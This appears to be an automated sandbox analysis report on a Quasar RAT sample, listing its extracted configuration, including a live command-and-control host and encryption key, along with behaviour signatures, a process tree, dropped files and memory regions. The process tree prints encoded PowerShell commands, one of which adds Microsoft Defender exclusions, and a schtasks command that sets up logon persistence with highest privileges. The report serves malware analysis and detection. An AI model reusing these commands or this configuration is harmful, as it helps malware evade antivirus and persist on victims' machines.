Analysis

  • max time kernel
    28s
  • max time network
    30s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/03/2024, 12:19

General

  • Target
    blud.exe
  • Size 3.1MB
  • Sample240316-phjk9ach36
  • SHA256 d90addee4f27e9c4ecee68ef64f57a731884d0b0da84dfc3049e3ab930a09673
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • quasar

Version
  • 1.4.1

Botnet
  • Office04

C2
  • authapi-41985.portmap.host:41985

Mutex
  • 50fd280e-bda2-413a-9ebd-86236f4b0beb

Attributes
  • encryption_key

    E429F24E279E8B25742D0F5347151B0F90D031CA

  • install_name

    system.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    system

  • subdirectory

    SubDir

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\blud.exe
    "C:\Users\Admin\AppData\Local\Temp\blud.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1452
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAcQB4ACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGQAagBnACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAcwB5AHMAdABlAG0AIABkAG8AdwBuACAAYwBvAG4AdABhAGMAdAAgAG8AdwBuAGUAcgAnACwAJwAnACwAJwBPAEsAJwAsACcARQByAHIAbwByACcAKQA8ACMAcQB5AGIAIwA+AA=="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1776
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAdwB3ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGwAdgB4ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAegB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAaAB2ACMAPgA="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4124
    • C:\Users\Admin\AppData\Local\Temp\fnup.exe
      "C:\Users\Admin\AppData\Local\Temp\fnup.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4084
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks" /create /tn "system" /sc ONLOGON /tr "C:\Windows\system32\SubDir\system.exe" /rl HIGHEST /f
        3⤵
        • Creates scheduled task(s)
        PID:4468
      • C:\Windows\system32\SubDir\system.exe
        "C:\Windows\system32\SubDir\system.exe"
        3⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:552
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "system" /sc ONLOGON /tr "C:\Windows\system32\SubDir\system.exe" /rl HIGHEST /f
          4⤵
          • Creates scheduled task(s)
          PID:748

Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 17KB
        • SHA256 a13a17992b9ffeb7789bb0c6bbe2c197333250d5c1a611c306b79bedd5ad373e
        • MD5 SHA1 SHA512 SSDEEP

        __PSScriptPolicyTest_1xzbkpuz.u3y.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1xzbkpuz.u3y.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        fnup.exe

        • Path C:\Users\Admin\AppData\Local\Temp\fnup.exe
        • Size 3.0MB
        • SHA256 6142fb9f4273e389b1ada780591788cbac693bc0ba14741920193d1ad9d123ef
        • MD5 SHA1 SHA512 SSDEEP

        fnup.exe

        • Path C:\Users\Admin\AppData\Local\Temp\fnup.exe
        • Size 3.1MB
        • SHA256 df86cb5e5dad3dba276558cf1c44869f5315e9232aabb5cc4a3d48c1734f32fb
        • MD5 SHA1 SHA512 SSDEEP

        system.exe

        • Path C:\Windows\System32\SubDir\system.exe
        • Size 2.4MB
        • SHA256 d67cab1c80b96e2d515af9f80f49f287b6a247dc44452c9b7f06b939f8676cf0
        • MD5 SHA1 SHA512 SSDEEP

        system.exe

        • Path C:\Windows\system32\SubDir\system.exe
        • Size 2.6MB
        • SHA256 acecb7e5f7738b379fa795a5b039d1e397d9861c4b89c9ce3dcd4b0f171bcedb
        • MD5 SHA1 SHA512 SSDEEP

        memory/552-95-0x0000000001A30000-0x0000000001A40000-memory.dmp

        memory/552-93-0x000000001DAE0000-0x000000001DB1C000-memory.dmp

        memory/552-75-0x000000001CED0000-0x000000001CF20000-memory.dmp

        memory/552-76-0x000000001CFE0000-0x000000001D092000-memory.dmp

        memory/552-53-0x0000000001A30000-0x0000000001A40000-memory.dmp

        memory/552-92-0x000000001CF50000-0x000000001CF62000-memory.dmp

        memory/552-52-0x00007FFEF7830000-0x00007FFEF82F1000-memory.dmp

        memory/552-94-0x00007FFEF7830000-0x00007FFEF82F1000-memory.dmp

        memory/1776-45-0x00000000069A0000-0x00000000069EC000-memory.dmp

        memory/1776-91-0x00000000730E0000-0x0000000073890000-memory.dmp

        memory/1776-73-0x0000000007820000-0x00000000078B2000-memory.dmp

        memory/1776-15-0x00000000054D0000-0x0000000005AF8000-memory.dmp

        memory/1776-23-0x0000000005DA0000-0x0000000005E06000-memory.dmp

        memory/1776-55-0x00000000068E0000-0x00000000068FA000-memory.dmp

        memory/1776-72-0x0000000008690000-0x0000000008C34000-memory.dmp

        memory/1776-38-0x0000000005F10000-0x0000000006264000-memory.dmp

        memory/1776-20-0x00000000730E0000-0x0000000073890000-memory.dmp

        memory/1776-54-0x0000000007A60000-0x00000000080DA000-memory.dmp

        memory/1776-18-0x0000000002DF0000-0x0000000002E00000-memory.dmp

        memory/4084-11-0x0000000000060000-0x0000000000384000-memory.dmp

        memory/4084-17-0x000000001B220000-0x000000001B230000-memory.dmp

        memory/4084-50-0x00007FFEF7830000-0x00007FFEF82F1000-memory.dmp

        memory/4084-13-0x00007FFEF7830000-0x00007FFEF82F1000-memory.dmp

        memory/4124-58-0x0000000074670000-0x00000000746BC000-memory.dmp

        memory/4124-71-0x0000000006CD0000-0x0000000006D73000-memory.dmp

        memory/4124-70-0x0000000004860000-0x0000000004870000-memory.dmp

        memory/4124-69-0x0000000004860000-0x0000000004870000-memory.dmp

        memory/4124-68-0x0000000006CA0000-0x0000000006CBE000-memory.dmp

        memory/4124-74-0x0000000006E80000-0x0000000006E8A000-memory.dmp

        memory/4124-56-0x000000007F7C0000-0x000000007F7D0000-memory.dmp

        memory/4124-57-0x0000000006A60000-0x0000000006A92000-memory.dmp

        memory/4124-77-0x00000000070A0000-0x0000000007136000-memory.dmp

        memory/4124-78-0x0000000007010000-0x0000000007021000-memory.dmp

        memory/4124-79-0x0000000007050000-0x000000000705E000-memory.dmp

        memory/4124-80-0x0000000007060000-0x0000000007074000-memory.dmp

        memory/4124-81-0x0000000007140000-0x000000000715A000-memory.dmp

        memory/4124-82-0x0000000007090000-0x0000000007098000-memory.dmp

        memory/4124-85-0x00000000730E0000-0x0000000073890000-memory.dmp

        memory/4124-44-0x0000000005AE0000-0x0000000005AFE000-memory.dmp

        memory/4124-22-0x0000000004DA0000-0x0000000004E06000-memory.dmp

        memory/4124-21-0x0000000004B00000-0x0000000004B22000-memory.dmp

        memory/4124-19-0x0000000004860000-0x0000000004870000-memory.dmp

        memory/4124-16-0x0000000004860000-0x0000000004870000-memory.dmp

        memory/4124-14-0x00000000730E0000-0x0000000073890000-memory.dmp

        memory/4124-12-0x00000000024E0000-0x0000000002516000-memory.dmp